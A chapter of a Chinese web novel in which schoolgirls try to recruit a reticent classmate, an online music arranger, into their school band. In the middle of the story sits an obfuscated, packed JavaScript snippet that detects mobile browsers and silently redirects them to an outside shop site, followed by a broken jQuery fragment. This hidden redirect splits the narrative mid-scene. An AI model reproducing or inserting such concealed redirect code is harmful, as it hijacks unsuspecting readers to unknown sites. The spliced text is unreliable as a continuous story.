古筝声停下后,二胡声的悠长掠过残荷,缕缕泛音随晚霞轻留。
当周围都归为寂静时,段潇然站着拿碗,用筷子夹菜放在碗里。旁边的两个小女孩正在有滋有味地吃饭。
“我上去吃。”段潇然丢下这句话之后就上了楼,两个小女孩对视一眼,继续“嚼嚼”的吃饭。
吃完饭后,又按照值日表干完家务活,窝在沙发上追完最新的动画片,才慢吞吞地开始写作业。
段潇然一边吃饭,一边整理刚刚的练习。
等待上传音乐的时间,她划着鼠标,看音乐底下的留言。
[编的很棒啊!]
[非常好听诶是新人吗?]
[架子鼓好评!]
[老师下次更新是什么时候?]
她手上的动作没有停下,心里却泛起涟漪。
[天上飘着云:老师老师看我!我喜欢老师的编曲好久了,可以收到老师一个回复吗?]
这是一个新人的留言,段潇然点进这条评论,下面还附带有一些解释。
[天上飘着云:之前一直不敢给老师留言,今天终于鼓起勇气?????]
[..:你好。]
段潇然在心里纠结了很久,最终才发了这句话,发完后又很想撤回,但是比撤回动作更快的是这个网友的回复。
[天上飘着云:呜呜老师回我了!!!谢谢老师!]
电脑回到音乐网站的首页,聊天界面弹出私人消息。段潇然点进去,正是刚刚她回复的那个人。
[天边飘着云:老师,我最近遇到了一件事]
段潇然看着新消息,这是把她当树洞了?那她要回复她吗?
还是算了吧。段潇然准备退出音乐网站,一条新弹出的消息引起了她的注意。
[天边飘着云:我在学校组了乐队。]
[天边飘着云:虽然只有两个人,我们两个人都还是吉他手,但是很开心]
[天边飘着云:我们想招人进乐队,但是一直没有找到人°?????°]
[天边飘着云:好想问问老师对于组乐队的看法呢]
[天边飘着云:不过我们还没有作曲,两个人还在适应]
段潇然坐在电脑前,她本来应该是退出的,不知道怎么就一直看对面发消息过来。
她第一次这么迅速地跳过自己一直所困恼的东西,给对面发了消息。
[..:嗯。我不太清楚。]
发完之后段潇然愣愣地盯着这条消息,又想是不是太冷漠了,或许可以再温柔。
但是是不是就破坏了形象,应该不回复的,但是对面给她发了这么多条消息......
“叮咚~”
[天边飘着云:啊啊啊老师能回复我真的太开心了!我会一直支持老师的!]
[天边飘着云:老师怎么换头像了?是草莓诶,不过老师不是喜欢芒果吗?]
段潇然最初看到第一条消息,嘴角上扬一点,但看到第二条消息的时候,她又皱起了眉。
她退出聊天界面,翻了一下自己以前的动态和发布歌曲,最终斟酌地给对方回消息。
林昀枝躺在床上,等待手机里的人给她回复。
符湿在收拾东西,她把行李箱摊开,盘腿叠衣服。
“叮咚~”,声音从手机传来,林昀枝立马拿起手机,新消息赫然在最顶上。
[..:嗯,谢谢。乐队会有人的。]
这次竟然多了很多字。
林昀枝熟练地打出几句夸夸,并附上可爱的颜文字发过去。
[这就是你想出来的计划?]
“这叫温水煮青蛙。”
做完之后,她的饭后休息时间也到了。她下床站在符湿旁边,“需要我帮你一起收拾吗?”
符湿摇头:“我马上收拾好了,你先写。”
“好吧。”林昀枝拿出错题集先复习一遍,再调桌上的闹钟,定时后刷几套理科试卷,刷完后再记点单词后下楼回林家。
符湿仍然坐在位置上,她继续刷学校老师发给竞赛生的竞赛试题。
两个人忙活完后躺床上睡得很昏沉。
第二天,符湿到学校之后就上了学校包的公交车,他们要统一去集训。
集训完后,她就与林昀枝一起住在福利院附近的房子。
作为房租报酬,符湿要辅导林昀枝化学上年级50。
她坐在靠窗的座位,吃着肉包,神色淡然地看林昀枝在校门口朝她挥手。
符湿旁边仍然是她同桌。她同桌早早就到了学校,抢先占了后排的位置。
“湿湿昨晚睡的好吗?”
“还行。”
“我没睡好,待会可能要靠湿湿一会。”
“你可以躺唔地上。”符湿面不改色地啃肉包。
林昀枝走进教室,拉开自己的椅子坐下,抬头望了一周教室,发信有挺多空位子。
她往后看,四个人都没空,段潇然低头写作业,她同桌在跟别人聊天,路槿喻则是在改昨天林昀枝写的歌词。
很快就到了早读,其中一个英语课代表站上讲台,其他的课代表拿着书走在过道上,大家也回到了自己座位上拿书出来。
对于林昀枝来说,这一周少了常驻回家搭子,一切照常。她和路槿喻一边改歌词,一边练习,下午放学再一起回家。
虽然他们的练习掺点水分,但还是非常有效果。
回家后就给段潇然发日常,这算是林昀枝和路槿喻制定的计划之一。
段潇然有时候回她,有时候不回,发歌的频率也少了很多。
周末的学习小组还是照常,因为这次月考他们班还算考的好,有一些小组被解散,有一些没有,就比如她和段潇然。
一个是她的物理进步挺快,但还没有到达上次定的目标,另一个是段潇然也没有和老师提出终结这个“教学交易”。
林昀枝买好一份肠粉,在书店门口等段潇然。段潇然比上次看起来精神好多了,虽然还是有点困。
她指着课本的知识点,给林昀枝讲完后,随手出了几道题给林昀枝写。剩下就让林昀枝自己自习。
十点到了,林昀枝没有收拾东西,她站起来,真诚道:“要不要跟我过去吃小蛋糕?是芒果味的。”
“......”段潇然没说话,但她的行动证明了她的拒绝,两腿一迈就不见了踪影。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774151|209987||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林昀枝看着快步离去的背影,抬起来的手似乎抓空,叹了一口气,转身收拾东西朝书店对面的蛋糕店走去。
路槿喻倚靠在蛋糕店墙上,对于这个结果一点都不惊讶。
两个人推门走进了蛋糕店,点了一份蓝莓蛋糕和草莓慕斯。
林昀枝郁郁地吃着蛋糕,路槿喻则在一边改完最后的歌词。
“我的演技有这么差吗?还是段潇然其实真没有想过组乐队......”
蛋糕店装饰的很有氛围感,暖黄的灯搭配香软的蛋糕,让人心情放松起来。
林昀枝突然锤一下桌子,恍然大悟道:“或许十点吃蛋糕是不是有点太不正常了。”
路槿喻没有回答这个问题,她把写歌词的本子给林昀枝看,自己端起草莓慕斯吃。
林昀枝边看还要边揣着下巴,一副深思熟虑样,看起来还没有完全过足演戏的瘾。
“其实我只有一个想问的。”
路槿喻放下手中的蛋糕和叉子。
“到底怎么写出这么阳光的词?”林昀枝凑近路槿喻,将歌词板在她眼前。
路槿喻微微改一下,阳光氛围立马就出来,让林昀枝怀疑路槿喻的语文是为了控分才考的比较低。
“不知道。”
林昀枝望着路槿喻,那双眼睛有没被学校摧残的纯净。
果然是需要一点外界因素才能写出来。每天都想逃离学校·火烧作业·被考试折磨·林昀枝甘拜下风。
林昀枝顺便给她看上次她找到的livehouse照片。路槿喻给出的评价是,“差不多。”
和音乐室差不多。
“那就把排练的地点安排在音乐室了。虽然比不上livehouse,但是收音效果也还好。”
林昀枝之前招人就问过路槿喻,队友的话是要找校外在外面演出,还是找校内在学校演出。
路槿喻只说两个字:“校内。”
林昀枝也发现最近自己练出了一种可以听懂路槿喻说话的本领,简单把这种语言技能称作喻语:可以自动识别路槿喻说的简短话深层含义。
当然是在扯淡,林昀枝对乐队的热情却没有散去。但她们现在仍然不确认段潇然是否对乐队感兴趣,总不能像之前路槿喻对她那样吧......
林昀枝最后再买了一点提子面包,跟路槿喻说:
“走了,小粉丝。”
还带有一点余音,像小勾子一样抓人心弦。
路槿喻没有再说话,在无人注意的角落,默默红了耳朵。
两个人下一周的安排就是就是作曲了。一个人在唱另一个人配曲。
不知道谁想出来的办法,总之两个都不擅长乐理的人就开始磕磕碰碰地尝试。
路槿喻唱的时候完全在念词,林昀枝没弹下去;到林昀枝唱的时候,两个就毫无默契各唱各的,各弹各的。
林昀枝疑惑道:“不对啊,我看电影两个人就这样莫名唱起来了,为什么我们不行。”
“什么?”
“芭比啊。难道不是吗?”林昀枝一本正经地说道。
路槿喻没有反驳,她去上厕所,从厕所出来的时候,看见一个在音乐室门口张望的人。